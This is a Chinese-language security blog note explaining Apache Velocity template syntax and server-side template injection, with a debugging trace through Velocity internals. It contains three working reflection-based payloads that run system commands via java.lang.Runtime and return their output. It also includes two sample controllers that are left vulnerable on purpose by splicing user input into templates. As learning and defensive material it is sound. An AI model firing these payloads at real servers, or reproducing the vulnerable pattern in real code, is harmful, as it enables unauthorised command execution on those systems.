Java安全之Velocity模版注入

2022 年 9 月 22 日
筆記
JAVA, JavaSec

Java安全之Velocity模版注入

Apache Velocity

Apache Velocity是一個基於Java的模板引擎，它提供了一個模板語言去引用由Java代碼定義的對象。它允許web 頁面設計者引用JAVA代碼預定義的方法

Pom.xml

<dependency>
    <groupId>org.apache.velocity</groupId>
    <artifactId>velocity</artifactId>
    <version>1.7</version>
</dependency>

//wizardforcel.gitbooks.io/velocity-doc/content/1.html

基本語法

語句標識符

#用來標識Velocity的腳本語句，包括#set、#if 、#else、#end、#foreach、#end、#include、#parse、#macro等語句。

變量

$用來標識一個變量，比如模板文件中為Hello $a，可以獲取通過上下文傳遞的$a

聲明

set用於聲明Velocity腳本變量，變量可以在腳本中聲明

#set($a ="velocity")
#set($b=1)
#set($arrayName=["1","2"])

注釋

單行注釋為##，多行注釋為成對出現的#* ............. *#

邏輯運算

== && || !

條件語句

以if/else為例：

#if($foo<10)
    <strong>1</strong>
#elseif($foo==10)
    <strong>2</strong>
#elseif($bar==6)
    <strong>3</strong>
#else
    <strong>4</strong>
#end

單雙引號

單引號不解析引用內容，雙引號解析引用內容，與PHP有幾分相似

#set ($var="aaaaa")
'$var'  ## 結果為：$var
"$var"  ## 結果為：aaaaa

屬性

通過.操作符使用變量的內容，比如獲取並調用getClass()

#set($e="e")
$e.getClass()

轉義字符

如果$a已經被定義，但是又需要原樣輸出$a，可以試用\轉義作為關鍵的$

{} 標識符

“{}”用來明確標識Velocity變量；
比如在頁面中，頁面中有一個$someonename，此時，Velocity將把someonename作為變量名，若我們程序是想在someone這個變量的後面緊接着顯示name字符，則上面的標籤應該改成${someone}name。

！標識符

“!”用來強制把不存在的變量顯示為空白。
如當頁面中包含$msg，如果msg對象有值，將顯示msg的值，如果不存在msg對象同，則在頁面中將顯示$msg字符。這是我們不希望的，為了把不存在的變量或變量值為null的對象顯示為空白，則只需要在變量名前加一個「!」號即可。
如：$!msg
我們提供了五條基本的模板腳本語句，基本上就能滿足所有應用模板的要求。這四條模板語句很簡單，可以直接由界面設計人員來添加。在當前很多EasyJWeb的應用實踐中，我們看到，所有界面模板中歸納起來只有下面四種簡單模板腳本語句即可實現：
　　 1、$!obj 　直接返回對象結果。
　　如：在html標籤中顯示java對象msg的值。

<p>$!msg</p>
　 在html標籤中顯示經過HtmlUtil對象處理過後的msg對象的值
  <p>$!HtmlUtil.doSomething($!msg)</p>

　　2、#if($!obj) #else #end 判斷語句
　　如：在EasyJWeb各種開源應用中，我們經常看到的用於彈出提示信息msg的例子。

　　 #if($msg)

　　 <script>
　　 alert('$!msg');
　　 </script>

　　 #end

poc

// 命令執行1
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a Calculator")

// 命令執行2 
#set($x='')##
#set($rt = $x.class.forName('java.lang.Runtime'))##
#set($chr = $x.class.forName('java.lang.Character'))##
#set($str = $x.class.forName('java.lang.String'))##
#set($ex=$rt.getRuntime().exec('id'))##
$ex.waitFor()
#set($out=$ex.getInputStream())##
#foreach( $i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

// 命令執行3
#set ($e="exp")
#set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd))
#set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $e.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\A"))
#if($scan.hasNext())
$scan.next()
#end

模版注入

摳了段代碼

 @RequestMapping("/ssti/velocity1")
    @ResponseBody
    public String velocity1(@RequestParam(defaultValue="nth347") String username) {
        String templateString = "Hello, " + username + " | Full name: $name, phone: $phone, email: $email";

        Velocity.init();
        VelocityContext ctx = new VelocityContext();
        ctx.put("name", "Nguyen Nguyen Nguyen");
        ctx.put("phone", "012345678");
        ctx.put("email", "[email protected]");

        StringWriter out = new StringWriter();
        Velocity.evaluate(ctx, out, "test", templateString);

        return out.toString();
    }

poc

#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a Calculator")

調試分析

首先將我們傳入的poc拼接進去後，調用Velocity.init();,最終實際調用的是RuntimeInstance#init

會進行一系列的初始化操作，其中包括加載/velocity-1.7.jar!/org/apache/velocity/runtime/defaults/velocity.properties中的runtime.log.logsystem.class,實例化org.apache.velocity.runtime.resource.ResourceManagerImpl以及記錄一些log

之後實例化VelocityContext並將三個鍵值對 put了進去，調用Velocity.evaluate()來解析,跟進

發現是通過RuntimeInstance#evaluate中調用parse解析

繼續跟進parser.parse(reader, templateName);,首先在this.velcharstream.ReInit(reader, 1, 1);將在StringReader中的poc存儲到Parser.velcharstream屬性的buffer中

之後會在process內循環遍歷處理vlocity語法之後，大致解析成下面這個樣子…

進入this.render(context, writer, logTag, nodeTree);來解析渲染，主要是從AST樹中和Context中，在ASTSetDirective#render將poc put進了context。這裡涉及到幾個類ASTRference ASTMethod,其中涉及到了ast的處理，感興趣的師傅可以自己跟下看看

ASTMethod#execute中反射調用runtime

調用棧如下：

exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
doInvoke:395, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
invoke:384, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
execute:173, ASTMethod (org.apache.velocity.runtime.parser.node)
execute:280, ASTReference (org.apache.velocity.runtime.parser.node)
render:369, ASTReference (org.apache.velocity.runtime.parser.node)
render:342, SimpleNode (org.apache.velocity.runtime.parser.node)
render:1378, RuntimeInstance (org.apache.velocity.runtime)
evaluate:1314, RuntimeInstance (org.apache.velocity.runtime)
evaluate:1265, RuntimeInstance (org.apache.velocity.runtime)
evaluate:180, Velocity (org.apache.velocity.app)
velocity1:64, HelloController (com.hellokoding.springboot)

扣來的代碼，這個可能實際環境遇到蓋里高點，主要是可控vm模版文件內的內容，在調用template.merge(ctx, out);會解析模版並觸發模版注入

    @RequestMapping("/ssti/velocity2")
    @ResponseBody
    public String velocity2(@RequestParam(defaultValue = "nth347") String username) throws IOException, ParseException, org.apache.velocity.runtime.parser.ParseException {
        String templateString = new String(Files.readAllBytes(Paths.get("/path/to/template.vm")));
        templateString = templateString.replace("<USERNAME>", username);

        StringReader reader = new StringReader(templateString);

        VelocityContext ctx = new VelocityContext();
        ctx.put("name", "Nguyen Nguyen Nguyen");
        ctx.put("phone", "012345678");
        ctx.put("email", "[email protected]");

        StringWriter out = new StringWriter();
        org.apache.velocity.Template template = new org.apache.velocity.Template();

        RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();
        SimpleNode node = runtimeServices.parse(reader, String.valueOf(template));

        template.setRuntimeServices(runtimeServices);
        template.setData(node);
        template.initDocument();

        template.merge(ctx, out);

        return out.toString();

    }

Template.vm

Hello World! The first velocity demo.
Name is <USERNAME>.
Project is $project

首先vm模版中字符串可被我們插入或替換即可造成模版注入，中間調用runtimeServices.parse將模版內容解析，交給template.merge(ctx, out);渲染。在template.merge 調用SimpleNode#render，後續調用和上面的就一致了。

主要是注意vm模版內容可不可控，並在修改後能被Velocity.evaluate() Template.merge(ctx, out);渲染，即可造成模版注入。

Reference

//www.cnblogs.com/nice0e3/p/16218857.html

//xz.aliyun.com/t/8135

Tags: JAVA JavaSec